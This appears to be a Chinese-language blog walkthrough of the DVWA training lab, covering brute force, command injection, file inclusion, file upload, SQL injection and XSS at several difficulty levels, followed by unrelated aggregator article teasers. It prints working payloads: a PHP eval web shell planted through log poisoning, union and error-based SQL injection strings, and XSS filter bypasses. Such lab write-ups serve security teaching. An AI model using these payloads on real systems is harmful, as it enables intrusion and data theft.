DVWA综合靶场漏洞讲解

news2024/11/29 0:34:09

目录

综合靶场漏洞讲解

Brute Force

Low

Medium

High

Command Injection

Low

Medium

High

File Inclusion

Low,Medium,High

File Upload

Low

Medium

High

SQL Injection

Low

Medium

High

SQL Injection (Blind)

Low

Medium

High

XSS(DOM)

Low

Medium

High

XSS(Reflected)

Low

Medium

High

XSS(Store)

Low

Medium

High


综合靶场漏洞讲解

Brute Force

Low

  • 尝试登录

    image-20240806174844124

    抓包,发送至intruder模块

    image-20240806174928016

    配置参数

    image-20240806175008725

    image-20240806175020686

    开始攻击,找到对应结果

    image-20240806175039205

Medium

主要问题存在于请求发送时间间隔,不懂啊我靠

High

涉及到时间和token的知识,这我更不懂为什么了

Command Injection

image-20240806182527421

Low

第一个命令执行结果正确与否无所谓,利用一些符号使得正确执行第二个命令就好了

image-20240806182036048

Medium

同样的道理

image-20240806182613730

High

这个稍微不一样,因为在源代码处理过程中,对一些特殊符号做了过滤

image-20240806182748877

所以我们可以使用的他叔符号很有限,而且他这里不知道为什么 ; 是无法使用的

image-20240806182714622

File Inclusion

image-20240806183135754

Low,Medium,High

直接先访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=<?@eval($_POST['a']);?>

然后再访问 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=/opt/lampp/logs/access_log 其中POST参数为a=phpinfo();

High关卡由于设置了访问内容范围,所以我们需要使用PHP伪协议来访问本地文件系统 http://192.168.230.147/DVWA/vulnerabilities/fi/?page=file:///opt/lampp/logs/access_log

File Upload

image-20240806215628134

Low

直接上传 shell.php 即可

Medium

burp抓包修改文件类型

High

上传图片马,利用文件包含漏洞 使用 file:// 伪协议,访问本地文件系统,并传入参数 a=phpinfo();

但是如果没有文件包含漏洞怎么办?

SQL Injection

image-20240807114320711

Low

payload如下:

我使用的是报错注入

 1' union select database(),updatexml(1,concat(0x7e,user(),0x7e),1)--+

image-20240807113111523

也可以,使用union查询,payload如下

1' union select 1,database() --+

image-20240807113716223

Medium

数字型post注入,payload如下

1 union select 1,database()

image-20240807113524256

High

union查询就可以,payload如下

1' union select 1,database()#

image-20240807114142653

这个题报错注入是不行的,因为只要有错,后台自定义错误,出现任何错误都是这样

image-20240807114222632

SQL Injection (Blind)

image-20240807114356449

Low

这是一道布尔盲注题目

通过试探,发现是字符型注入,并且可以投ing过 --+ 注释单引号,注意,这道题中#注释是不可取的

正确情况回显

image-20240807114717687

错误情况回显

image-20240807114735624

payload如下

1' and length(database())=4 --+

Medium

id=1 and 1=1正确回显,id=1 and 1=2错误回显,说明是数字型注入

所以payload如下

1 and length(database())=4

image-20240807115106046

High

通过试探,此乃字符型注入,单引号闭合, --+ 注释不可取,可使用 # 注释,

所以payload如下

1' and length(database())=4 #

image-20240807115427833

如果判断错误则如下

image-20240807115454095

XSS(DOM)

image-20240807115627525

Low

payload default=English<script>alert(1)</script>

image-20240807115712523

Medium

German</option></select><img src='x' onmouseover="alert(1)">

 <option value="German">Spanish</option>
 ​
 <option value="German"></option></select><img src="x" οnerrοr="alert(1)">Spanish</option>
 ​
 ​
 <option value="German</option></select><img src='x' οnmοuseοver="alert(1)">">Spanish</option>
 ​
 ​
 <option value="German%3C/option%3E%3C/select%3E%3Cimg%20src=%27x%27%20οnmοuseοver=%22alert(1)%22%3E">German</option>

此时利用Low级别的payload发现我们写入的值仅存在于value中,并不存在于<option>和<select> 两个标签之中,我们猜测 <img> 这个标签不允许存在于<option> 和 <select> 标签之中,于是我们可以闭合这些标签,我们先尝试闭合 <option>,本来 <script> 标签是可以存在的,但是这一关将 script 标签过滤掉了,于是就无法使用了,我们只能选择其他标签。

  • 先尝试闭合 <option> 标签

    image-20240807135533042

    ok,没效果,说明不是 <option> 标签限制了 img 的存在s

  • 尝试闭合 <select> 标签,payload </select><img src=1 onerror="alert(1)">

    image-20240807135706806

    有了,说明 <select> 标签中会限制 <img> 标签的出现

High

查看源代码

 <?php
 // Is there any input?
 if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
 ​
     # White list the allowable languages
     switch ($_GET['default']) {
         case "French":
         case "English":
         case "German":
         case "Spanish":
             # ok
             break;
         default:
             header ("location: ?default=English");
             exit;
     }
 }
 ?> 

查看源代码我们可以看到,服务器通过GET接收到的参数必须是四个 case 中的选项,意味着我们就不能随意修改URL地址栏中的请求参数的值了,那怎么实现跨站脚本攻击呢

URL地址中我们可以通过添加锚点(#,也叫做页面定位符)来实现向前端页面传输,但锚点后面的内容并不会传输给后端服务器

payload English#<script>alert(1)</script> 然后重新刷新一下页面就好了(或执行一下)

image-20240807145028661

XSS(Reflected)

image-20240807145332333

Low

尝试输入admin 发现直接回显到页面上,那么直接输入 payload <script>alert(1)</script>

image-20240807145437885

Medium

尝试Low级别的payload,发现只回显了alert(1)

image-20240807145554287

说明<script>标签被过滤了,那我们换个标签 payload <img src=1 onerror="alert(1)"> 同样可以使用 <svg onload=alert(1)>

image-20240807145708451

High

<img src=1 onerror="alert(1)">

image-20240807145758926

XSS(Store)

image-20240807145922225

Low

尝试输入正确内容,发现页面完全回显,那么直接在内容中上 payload <script>alert(1)</script> ,用户名长度有限制

Medium

代码审计 可以发现 程序只对$name做了过滤,$message是进行了统一的SQL注入预防和HTML,PHP标签删除以及实体字符转换,而$name有过滤条件,那么我们就可以想办法绕过,而且还没有进行实体字符转换,ok开搞

 <?php
 ​
 if( isset( $_POST[ 'btnSign' ] ) ) {
     // Get input
     $message = trim( $_POST[ 'mtxMessage' ] );
     $name    = trim( $_POST[ 'txtName' ] );
 ​
     // Sanitize message input
     $message = strip_tags( addslashes( $message ) );
     $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
     $message = htmlspecialchars( $message );
 ​
     // Sanitize name input
     $name = str_replace( '<script>', '', $name );
     $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
 ​
     // Update database
     $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
     $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
 ​
     //mysql_close();
 }
 ​
 ?> 
  • F12修改name输入框长度

    image-20240807162923131

  • 输入大小写绕过或者双写绕过

    <ScRiPt>alert(/xss/)</ScRiPt> <scr<script>ipt>alert(/xss/)</script>

High

和 Medium 差不多,只不过这次 $name 采用的过滤方式是黑名单加正则匹配

修改 $name 输入宽度 ,payload:<img src=1 onerror="alert(/xss/)">

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2060111.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

未来购物新境界:商品样机3D展示可视化引领潮流

在这个日新月异的数字时代&#xff0c;科技的每一次飞跃都在深刻改变着我们的生活方式&#xff0c;尤其是购物体验。从传统的实体店选购到线上商城的便捷浏览&#xff0c;再到如今商品样机3D展示可视化的兴起&#xff0c;消费者正逐步踏入一个前所未有的沉浸式购物新时代。 想象…

layui table表单 checkbox选中一个其它也要选中

当我们选中其中一个商品的时候同类型的商品状态也要跟着改变 所以要在表单加载完成后去监听checkbox ,done:function (res) {console.log(详情表格数据,res)tableDetailList res.data;// 监听表格复选框选择table.on(checkbox( INST_SELECTORS.instLayFilters.unpaidTableDe…

亚马逊erp开子账号上百种权限,个人货代选品商标分配

亚马逊全功能 ERP 选品商标分配&#xff0c;上百种权限分配。 说说 ERP 子账号的相关操作&#xff01; 1. 哈喽大家好&#xff01;对于需要子账号多开的卖家来说&#xff0c;多个子账号进行智能分配可以减少个人操作的时间&#xff0c;提升团队的工作效率。今天就来和我一起看…

黄热病疫苗市场调研:预计到 2030 年全球市场规模将达到 1.8 亿美元

一、黄热病疫苗市场研究 &#xff08;一&#xff09;发展趋势 1. 市场规模增长&#xff1a;据调研团队报告所示&#xff0c;预计到 2030 年全球黄热病疫苗市场规模将达到 1.8 亿美元&#xff0c;年复合增长率为 3.0%。这表明市场在未来几年将保持稳定增长态势。增长的原因主要…

MESI 协议:多核处理器的一致性解决方案

文章目录 概述MESI 协议的基本原理概念协议状态 工作机制缓存行状态转移状态转换图状态转换表典型的状态转换示例详细的状态转换说明 写缓冲区 & 失效队列写缓冲区&#xff08;Store Buffer&#xff09;失效队列&#xff08;Invalidation Queue&#xff09; Java内存模型应…

vue实现卡片遮罩层交互式功能

前言 在前端开发中&#xff0c;卡片遮罩层是一种常见的交互设计元素&#xff0c;用于强调某个区域或内容&#xff0c;并提供用户操作的入口。本文将带大家在 vue 中结合实际案例实现此功能。 实现效果 完整代码 html <template><!-- 主容器 --><div class&quo…

[C++] map、set 的 封装 (二):map、set和红黑树的双向奔赴

标题&#xff1a;[C] map、set 的 封装 &#xff08;二&#xff09; 水墨不写bug 前言 在正式深入进map、set封装之前&#xff0c;我有一些话想说&#xff0c;map和set的封装在初次理解时可能会比较困难&#xff0c;仅仅是模板&#xff0c;仿函数引起的回调就会把你拌入无底深…

【从Qwen2,Apple Intelligence Foundation,Gemma 2,Llama 3.1看大模型的性能提升之路】

从早期的 GPT 模型到如今复杂的开放式 LLM&#xff0c;大型语言模型 (LLM) 的发展已经取得了长足的进步。最初&#xff0c;LLM 训练过程仅侧重于预训练&#xff0c;但后来扩展到包括预训练和后训练。后训练通常包括监督指令微调和校准&#xff0c;这是由 ChatGPT 推广的。 自 …

redis AOF机制

在redis运行期间&#xff0c;不断将redis执行的写命令写到文件中&#xff0c;redis重启之后&#xff0c;只要将这些命令重复执行一遍就可以恢复数据。因为AOF只是将少量的写命令写入AOF文件中&#xff0c;因此其执行效率高于RDB&#xff0c;开启AOF即使Redis发生故障&#xff0…

Redis缓存场景

Redis缓存场景 文章目录 Redis缓存场景Redis做缓存旁路缓存缓存异常缓存穿透缓存击穿缓存雪崩 缓存一致性先写缓存再写数据库先写数据库再写缓存先删除缓存再写数据库先写数据库再删缓存缓存双删Binlog异步更新总结 Redis做缓存 部分图解来自于&#xff1a;https://www.miansh…

微课录制不再难:精选三款录屏软件助你一臂之力

在这个信息爆炸的时代&#xff0c;微课以其短小精悍、易于消化的特点&#xff0c;成为知识传播的新宠。无论是教师备课、企业培训&#xff0c;还是个人知识分享&#xff0c;微课都能以其独特的方式&#xff0c;让学习变得更加高效和便捷。在数字化教学的浪潮中&#xff0c;PPT课…

SAP SUBSCREEN使用

step1&#xff1a;在SELECTION-SCREEN中定义SUBSCREEN SELECTION-SCREEN BEGIN OF SCREEN 0101 AS SUBSCREEN. SELECT-OPTIONS S_XMGS FOR ZTPO0074-XMGS . SELECTION-SCREEN END OF SCREEN 0101.STEP2: 引用SUBSCREEN 关键字 CALL SUBSCREEN SUBSCR_0100 INCLUDING SY-RE…

Java基础核心知识学习笔记

方法重载 请记住下面重载的条件 方法名称必须相同。参数列表必须不同&#xff08;个数不同、或类型不同、参数类型排列顺序不同等&#xff09;。方法的返回类型可以相同也可以不相同。仅仅返回类型不同不足以成为方法的重载。重载是发生在编译时的&#xff0c;因为编译器可以根…

结合ChatGPT与Discord,提高团队合作效率

本文将教你如何集成Discord Bot&#xff0c;助力团队在工作中实现更高效的沟通与协作。通过充分发挥ChatGPT的潜力&#xff0c;进一步提升工作效率和团队协作能力。无需编写任何代码即可完成本文所述的操作&#xff0c;进行个性化定制只需对参数进行微调即可。 方案介绍 如果在…

联想闪电鲨移动硬盘文件没删除却消失了怎么办

在日常的数据存储与管理中&#xff0c;移动硬盘作为便携且容量可观的存储设备&#xff0c;深受用户青睐。然而&#xff0c;当您发现联想闪电鲨移动硬盘中的文件突然消失&#xff0c;而您确信并未进行删除操作时&#xff0c;这无疑会令人感到困惑与焦虑。本文旨在为您揭开这一谜…

MySQL各个版本root账号没有最高权限的解决方法

一、详细报错 ERROR 1045 (28000): Access denied for user ‘root’‘localhost’ (using password: YES) 报错原因&#xff08;分析过程&#xff09;&#xff1a; rootlocalhost用户密码修改导致 解决方法&#xff1a; 跳过权限验证启动数据库&#xff0c;并修改密码。如下…

[028-3].第05节:RabbitMQ中的交换机

1.什么是Exchanges(交换机&#xff09;: 1.RabbitMQ 消息传递模型的核心思想是: 生产者生产的消息从不会直接发送到队列。实际上&#xff0c;通常生产者甚至都不知道这些消息传递传递到了哪些队列中2.生产者只能将消息发送到交换机(exchange)&#xff0c;交换机工作的内容非常…

C++ TinyWebServer项目总结(7. Linux服务器程序规范)

进程 PID 进程的PID&#xff08;Process ID&#xff09;是操作系统中用于唯一标识一个进程的整数值。每个进程在创建时&#xff0c;操作系统都会分配一个唯一的PID&#xff0c;用来区分不同的进程。 PID的特点 唯一性&#xff1a; 在操作系统运行的某一时刻&#xff0c;每个…

江苏省第二中医院案例│“互联网+医疗”下的灾备建设

江苏省第二中医院&#xff0c;成立于1988年12月&#xff0c;是一所融医疗、教学、科研、预防保健为一体的公立省级综合性三级甲等中医院。目前&#xff0c;正对照“大学附属医院”“省级三甲医院”建设标准&#xff0c;全面推进医院建设高质量跨越式发展。 用户需求&#xff1a…

冒 泡 排 序

今天咱们单独拎出一小节来聊一聊冒泡排序昂 冒泡排序的核心思想就是&#xff1a;两两相邻的元素进行比较&#xff08;理解思路诸君可看下图&#xff09; 接下来我们上代码演示&#xff1a; 以上就是我们初步完成的冒泡排序&#xff0c;大家不难发现&#xff0c;不管数组中的元…